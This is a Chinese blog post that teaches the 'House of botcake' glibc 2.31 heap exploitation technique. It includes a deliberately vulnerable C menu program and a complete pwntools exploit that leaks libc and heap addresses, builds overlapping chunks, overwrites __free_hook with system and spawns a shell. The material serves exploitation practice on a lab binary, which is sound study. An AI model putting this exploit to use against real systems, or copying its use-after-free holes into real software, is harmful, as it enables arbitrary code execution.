Featured image of post House of botcake

House of botcake

https://blog.csdn.net/Mr_Fmnwon/article/details/142468380

漏洞分析

House of botcake 是利用unsortedbin绕过tcache检查从而实现double free的一种手法

利用手法

1 malloc 9个相同tcache大小的chunk0-8

2 free7个chunk填满tcache(0-6)

3 free(8)进入 unsortedbin,free(7)与chunk8合并

4malloc一个在tcatche里空出一个位置

5再次free(8),由于第一次free8进入unsortedbin,没有tcache_key,所以本次free8进入tcache

这样chunk8就成为了overlap_chunk

demo(glibc2.31)

参考https://blog.csdn.net/Mr_Fmnwon/article/details/142468380

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
 
char *chunk_list[0x100];
 
void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}
 
int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}
 
void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}
 
void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}
 
void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}
 
void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}
 
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
p=process('./botcake231')
libc=ELF('/home/fuguang/glibc-all-in-one/libs/2.31-0ubuntu9.18_amd64/libc.so.6')
context.log_level='debug'
context.arch='amd64'
def menu(idx):
    p.sendlineafter(b'choice:',str(idx))
def add(idx,size):
    menu(1)
    p.sendlineafter(b'index:',str(idx))
    p.sendlineafter(b'size:',str(size))
def edit(idx,content):
    menu(3)
    p.sendlineafter(b'index:',str(idx))
    p.sendlineafter(b'length:',str(len(content)))
    p.sendafter(b'content:',content)
def show(idx):
    menu(4)
    p.sendlineafter(b'index:',str(idx))
def dele(idx):
    menu(2)
    p.sendlineafter(b'index:',str(idx))
#leak libc 并清除所有chunk
add(0,0x410)
add(1,0x410)
dele(0)
show(0)
p.recv(1)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x21ace0+0x2e100
print(hex(libcbase))
add(0,0x410)
dele(1)
dele(0)
#利用largebin leak heap 并清除所有chunk
add(0,0x410)
add(1,0x410)
add(2,0x410)
add(3,0x410)
dele(0)
dele(2)
show(2)
p.recv(1)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x290
print(hex(heapbase))
add(0,0x410)
add(2,0x410)

#botcake
for i in range(4):
    dele(i)
for i in range(9):
    add(i,0x80)
add(9,0x10)
for i in range(7):
    dele(i)
dele(8)
dele(7)
add(10,0x80)
dele(8)
add(11,0xb0)
freehook=libcbase+libc.sym['__free_hook']-8
heap=heapbase+0x720
xored=(heap>>12)^freehook
edit(11,b'a'*0x88+p64(0x91)+p64(freehook))
add(0,0x80)

add(0,0x80)

sys=libcbase+libc.sym['system']
edit(0,p64(0)+p64(sys))
add(1,0x8)
edit(1,b'/bin/sh\x00')
print(hex(freehook))
#gdb.attach(p,'b *$rebase(0x1393)')
dele(1)
#gdb.attach(p)
p.interactive()
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计